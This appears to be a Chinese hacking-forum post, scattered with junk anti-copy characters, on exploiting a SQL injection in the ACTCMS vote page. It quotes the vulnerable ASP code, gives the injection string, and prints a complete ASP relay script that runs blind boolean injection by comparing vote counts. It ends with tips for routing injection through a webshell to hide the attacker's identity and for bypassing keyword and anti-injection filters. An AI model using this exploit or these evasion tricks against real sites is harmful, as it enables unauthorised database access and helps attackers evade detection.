注入中转的高级应用，actcms漏洞以及其他

admin

/ x6 e8 Y. n( X( \- w2 Z# Y8 R看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: }( |$ z( u# f关于actcms漏洞的利用  by 3x qq:381862589
+ ^  E2 i* w4 @9 {5 X  d. p+ x( N转载请注明以上
" @: }& {; m+ p- V漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
! q# L& _+ g0 j; u" K* q
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
6 {$ M' M% F$ V. H# u9 c
0 ~: @% \0 |5 U$ q; c0 q3    response.end   

4    end if   
' ]( ?4 Q* y. _
5    for i=1 to request("voted").count   
+ L* y) A8 G) ^
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
% l6 O7 F7 c) |# x  u
7    next   
  ^/ f) s4 [& }) Z
8....   
4 L; u9 W% R4 j" U$ O
9response.Redirect "index.asp?id="&id&""   
5 K/ E* G( N" I* P投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
; M% w2 r+ k( ^如图：
" L6 V: _' e+ h: n+ |( J( {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
/ u) c' v" F1 Y( K' G先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
' P3 o( @- t* ]9 W& h1 y/ |% L注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
9 D6 R+ b9 V3 v& F& ]/ f1 y  q
0 N6 [% C' p7 n* i/ I1 f- B然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
) n$ n9 m) R  G7 z& \5 q" m
02JmdcwName=request("jmdcw")
, o; E6 {. c, i# `7 C
- m" G2 G- ^% f5 G% ]03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
* q; z1 h) A& C# H- j
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! x- E5 |. s& s9 R6 ^) f
" Q4 _  {+ i  s6 I' k05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
& ~( g% A9 Y* n0 y
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
& h- g: h1 S" W3 y" V; O" A2 b( L
08testurl=testurl & "?" & JmStr

8 W$ ~1 p) N( t09JMUrl=JMUrl & "?" & JmStr
0 v8 ?' [7 v6 h6 R5 r% l1 n$ ?. r
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; R# R7 K2 Q! o7 N; H0 J) K$ P
& _$ v7 B' }4 m3 x; H& F11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
( u# z4 K4 k, M0 U
12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
* b4 z/ I/ z0 C$ S  e4 R( x2 ~
14  
* q7 L+ ]' p9 A, ^( u+ [7 B" F
( G# @% @7 y7 Z( S- b2 J) k/ Y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ o7 D$ D- B7 R" z  |
- O. c" H) u3 e& A3 Q% O16  
, i4 V- X+ e) @3 F4 O
" B5 v) b, ?/ q% G9 O8 }9 d17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
% J% @- k7 f* G  T. u) |
, Z( K8 w9 h9 H4 S  @18response.write test1&""&test2&""

19  
" ?( Z/ O9 V/ j* F3 w$ U/ {' R
& K2 D  }4 v) W" n20if test1=test2 then '如前后记录相等，表示失败
$ F, }" a/ p& H) _4 S* q& `* K6 \" \
21  response.write "failed"
5 D- G$ E" Q6 P9 w5 S
: v4 }; X1 }0 ~  Q# T0 X$ {" L22else
' |$ r. W3 o. d
% `3 M& V2 E+ f& l23  response.write "succeed"
1 |2 u' y7 l8 z9 w
24end if  
  H2 ^2 j) Q0 D1 c5 y3 W  p4 m
25  
1 R6 j0 G" R& |# z
26response.write "by 3x"
% x. `- q* i" v! O! f0 A
27  

28  
, Q4 k- s  L/ S- ~1 Z3 R* d/ K
8 s: M( [' E9 B8 F% S4 D29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

" z1 J* H( Q9 z6 P30Dim Http
/ m3 Z! w6 I0 X: q9 _
- a5 `& k/ g4 J' V% V* L31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
- B, W, h- P! f9 c# G
32With Http
8 ^% A, \1 Q! g4 W
33  
, {0 O9 W. Y3 n8 ]) e0 o' I
3 R  q9 A8 q" G4 L# ~3 s/ R$ u34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

/ H% A6 y! v' m- w; D) F36.SetRequestHeader "Referer",PostRef
1 H/ j2 S* P" D! C
37.SetRequestHeader "Cookie",PostCok

" P0 w/ A, z, }! |; E38.Send ()

39PostData = .ResponseBody

40End With

# a5 A4 }  Q( h7 U8 Q& e# L8 L41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
, n: ]# V' {" }& ]% i1 E" M/ r) Z
) C9 L1 k$ b# m* p43End Function
3 n% R) {. j6 Q. Z6 W8 `' F' L
44  

45  

' P) T1 F* J1 |1 B46Function bytes2BSTR(vIn)
- O0 r$ k6 \7 e9 U7 b- p
  f$ J- N. [. H4 a- z8 |  |& \47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

! j6 t! _% N' P2 c! z9 z. P: \49strReturn = ""
5 _) w+ Z. A) {7 R( P/ r. L" i& o
! p' @" h5 B! w( W- c# @. j8 I50For I = 1 To LenB(vIn)
' J: O( Q7 {+ L
& U, q- E; j/ ]8 k. u7 k51ThisCharCode = AscB(MidB(vIn, I, 1))
; s5 ?, [  x! P1 D1 D2 v( r  |7 X
52If ThisCharCode < &H80 Then

- H, z, h+ H4 A; T+ X3 M' x7 c53strReturn = strReturn & Chr(ThisCharCode)
. K* B  _% s9 C) ~
& t6 e9 ~/ X& k54Else
5 ]6 _8 M9 c. C' D, g! `: P" S
1 p; S8 r, r# Y6 N; F, {55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' `; {* n. ~9 N$ r5 f4 X
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

: B5 V3 r' B1 a; r- \, v57I = I + 1

58End If
6 I: ]: I4 R  ^* e, c: l
  `  B! v! f% w59Next

" t% x* S% A, G60bytes2BSTR = strReturn
3 P! @) U7 g0 y  ?
& K8 B- Y& [9 h3 |& r61End Function

. T0 ]& i+ I, x5 O, m! K62  

/ S/ `* |' [% r( @6 ?63Function URLEncoding(vstrin)  

64strReturn=""

65Dim i

; q+ A( C+ I) G0 n* Y; q6 X! K8 g66For i=1 To Len(vstrin)

4 ]9 r; s: k! |/ V  J5 ]67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then
0 N+ d! p. q2 e( }4 A* c9 J3 I
69strReturn=strReturn & ThisChr
# l/ j, h8 V% `9 H; X4 D
70Else

5 Q: X! c) _  Z1 _9 J1 B71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then
$ b, z6 m- T4 A, S0 U0 G& ]) {
73InnerCode=InnerCode + &H10000
- u/ e# P5 y& R" j. `2 l- u
74End If
1 X* _3 f+ S9 S) G9 ~" S
# @: o. i" |: j, s! v75Hight1=(InnerCode And &HFF00) \&HFF

' P0 w$ A) Y  p: y76Low1=InnerCode And &HFF
; P# a% l+ W) y9 c3 ]& M5 C
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

: y9 a$ x/ r& G  x' K( w: P2 _* w79Next
* D! Z6 n& L7 P' f
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

9 S5 D. r4 Y& y' e% x81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
, z2 T& k7 w1 _1 Q1 k
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

* H' d( V$ n/ F9 C83URLEncoding=strReturn
5 G* |) m/ N/ r3 j  a3 F( W" }
84End Function
+ Z: b7 J% z  M+ _. w5 y$ d
85  

86function getSt(body)
, d. O8 y6 j% g% \  `; s, A' @
87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")

89  getSt=mid(body,startpot,endpot-startpot)
  X9 c8 R0 m. M3 H
4 M* G" t2 G. h% K9 o  g* y90end function
* q, v3 m  C8 g9 N+ S
5 I8 _8 u# ]% r91%>
6 y) P; O% F: @+ Y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
$ s+ m3 }6 q0 A7 ?8 nhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

, M  O& T# `' }. P& ?0 X* @$ @) z2009-12-27 13:29
投票失败
9 e9 i% e, }9 ihttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
& g( [5 K! s* Q, D4 a) R3 V, p
2009-12-27 13:29
8 U8 q/ }# _' j* w: u3 P-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
8 \4 ^- L. m5 `2 n9 E% ~很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
) r! h7 |4 n: s0 d* ^1 ?-------------------------------------------------------------------------------

, [5 B0 F) q  {注入中转的一些其他应用
) o6 {4 A( J8 k! L8 I7 R7 u其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
. e& E. I8 v  c) w5 y3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过